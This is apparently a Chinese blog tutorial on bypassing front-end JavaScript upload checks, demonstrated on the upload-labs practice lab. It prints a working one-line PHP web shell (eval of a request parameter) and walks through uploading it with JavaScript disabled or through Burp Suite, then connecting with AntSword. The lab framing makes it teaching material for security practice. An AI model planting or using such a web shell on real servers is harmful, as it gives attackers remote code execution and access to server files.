文件上传漏洞-绕过js验证

1.漏洞原理:

Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。

2.判断页面是否存在前端绕过js验证

打开开发者工具调试面板,选择网络,然后上传图片文件和非图片文件,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)

这里以upload-labs less1为例,随便上传一个php文件发现网络并没有波动,说明这个拦截是通过前端JavaScript代码完成的。通过图二可以看到,上传正常图片文件网络栏有数据传输,说明有数据向后台发送,说明页面存在js绕过漏洞。

3.创建一个1.php文件(一句话木马):

复制代码
<?php @eval($_REQUEST['666']); ?>

禁用JavaScript

(1)通过开发者工具禁用

(2)通过burpsuit禁用

通过抓包后点击option找到remove all JavaScript

带有木马的文件成功上传到服务器

4.接下来打开蚁剑连接木马

5.发现已经可以看到upload-labs下所有的文件

相关推荐
mitt_3 分钟前
go语言变量
开发语言·后端·golang
TravisBytes39 分钟前
gRPC C++ 从 0 到 1 → 到线上:**超详细** 环境搭建、编码范式、性能调优与 DevOps 全攻略
开发语言·c++·devops
得物技术1 小时前
Java SPI 机制初探|得物技术
javascript
kngines1 小时前
【Node.js从 0 到 1:入门实战与项目驱动】1.1 什么是 Node.js?(定义、运行环境、与浏览器 JavaScript 的区别)
开发语言·javascript·node.js
一个很帅的帅哥1 小时前
Node.js和Javascript中的async和await
javascript·node.js·async·promise·await
生活不易,被迫卖艺2 小时前
Redux与React-环境准备(React快速上手1)
前端·javascript·react.js
大阳1232 小时前
数据结构2.(双向链表,循环链表及内核链表)
c语言·开发语言·数据结构·学习·算法·链表·嵌入式
天天扭码2 小时前
很全面的前端面试题——手写题(上)
前端·javascript·面试
ChipCamp2 小时前
Chisel芯片开发入门系列 -- 18. CPU芯片开发和解释8(流水线架构的代码级理解)
开发语言·青少年编程·fpga开发·scala·dsp开发·risc-v·chisel
程序员小寒2 小时前
前端遇到页面卡顿问题,如何排查和解决?
前端·javascript·性能优化